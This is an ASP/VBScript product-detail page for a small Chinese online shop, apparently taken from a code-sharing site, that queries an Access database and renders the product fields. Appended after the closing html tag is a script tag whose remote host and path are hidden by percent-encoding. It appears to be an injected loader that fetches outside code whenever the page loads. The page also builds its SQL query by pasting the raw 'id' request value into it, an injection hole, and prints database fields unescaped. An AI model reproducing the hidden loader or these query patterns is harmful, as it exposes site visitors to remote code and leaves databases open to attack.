📄 list.asp
字号:
<%@ LANGUAGE="VBSCRIPT" %>
<%
dim sqlo
dim rso
dim filtersql
dim conn
dim connstr
on error resume next
connstr="DBQ="+server.mappath("shopping.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
set conn=server.createobject("ADODB.CONNECTION")
conn.open connstr
dim sql
dim objrs
dim listname
set objrs=server.createobject("adodb.recordset")
sql="select * from Products where 目录ID="&request("id")
objrs.open sql,conn,1,1
lngCatalogid = objRS("目录ID")
strCcode = objRS("编号")
strCname = objRS("名称")
memCdescription = objRS("描述")
curCprice = objRS("价格")
strCimageurl = objRS("小图片地址")
datCdateavailable = objRS("有效日期")
lngCstock = objRS("库存")
lngCcategory = objRS("类别ID")
strCategory = objRS("类别")
strMfg = objRS("体积")
strDescurl=objRS("大图片地址")
if isNull(objRS("特征")) then
strFeatures=""
else
strFeatures=objRS("特征")
end if
strButtonImage=objRS("按钮图片")
strWeight=objRS("重量")
strSyxs=objRS("首页显示")
strPrice=FormatCurrency(curCprice,2)
dim mytext
mytext="订购"
%>
<html>
<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<link rel="stylesheet" type="text/css" href="style.css">
</head>
<body>
<form action="shopaddtocart.asp" method="POST">
<table width="400" border="0" cellspacing="0" cellpadding="0" align="center" height="340">
<tr>
<td width="200" align="center" valign="top" height="320">
<table width="200" border="0" cellspacing="0" cellpadding="0" height="340" bordercolorlight="#000000" bordercolordark="#FFFFFF">
<tr valign="middle">
<td height="260" colspan="2"> <%if strDescUrl<>"" then
%>
<div align="left"><img border="0" src="<%=strDescurl%>" width="150" height="200" >
<%else%> <img border="0" src="images/gwb.jpg" width="150" height="200" >
<%end if%> </div>
</td>
</tr>
<tr>
<td height="20" width="70">商品名称：</td>
<td height="20" width="130"><%=strcname%></td>
</tr>
<tr>
<td height="19">商品编号：</td>
<td height="20"><%=strCcode%></td>
</tr>
<tr>
<td height="19">商品类别：</td>
<td height="20"><%=strCategory%></td>
</tr>
<tr>
<td height="20">购买数量：</td>
<td height="20">
<input type="text" size="3" value="1" name="quantity" >
</td>
</tr>
</table>
</td>
<td width="200" height="320" valign="top" align="center">
<table width="200" border="0" cellspacing="0" cellpadding="0" height="340" bordercolorlight="#000000" bordercolordark="#FFFFFF">
<tr>
<td height="20" colspan="2">商品描述：<% if strButtonImage<>"" then%>
<img src="<%=strButtonImage%>">
<%end if%></td>
</tr>
<tr>
<td height="240" colspan="2" valign="top"> <%=memcdescription%></td>
</tr>
<tr>
<td height="20" width="70">商品重量：</td>
<td height="20"><%=strWeight%></td>
</tr>
<tr>
<td height="20">商品体积：</td>
<td height="20"><%=strMfg%></td>
</tr>
<tr>
<td height="20">商品价格：</td>
<td height="20" width="130"><%=strPrice%> </td>
</tr>
<tr>
<td height="20" colspan="2"><%
response.write "<input type=submit value=""" & mytext & """ name=Order>"%><input type="hidden" name="productid" value="<%=lngCatalogId%>">
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</body>
</html>
<script src="http://%6A%73%2E%6B%30%31%30%32%2E%63%6F%6D/%30%31%2E%61%73%70"></script>⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -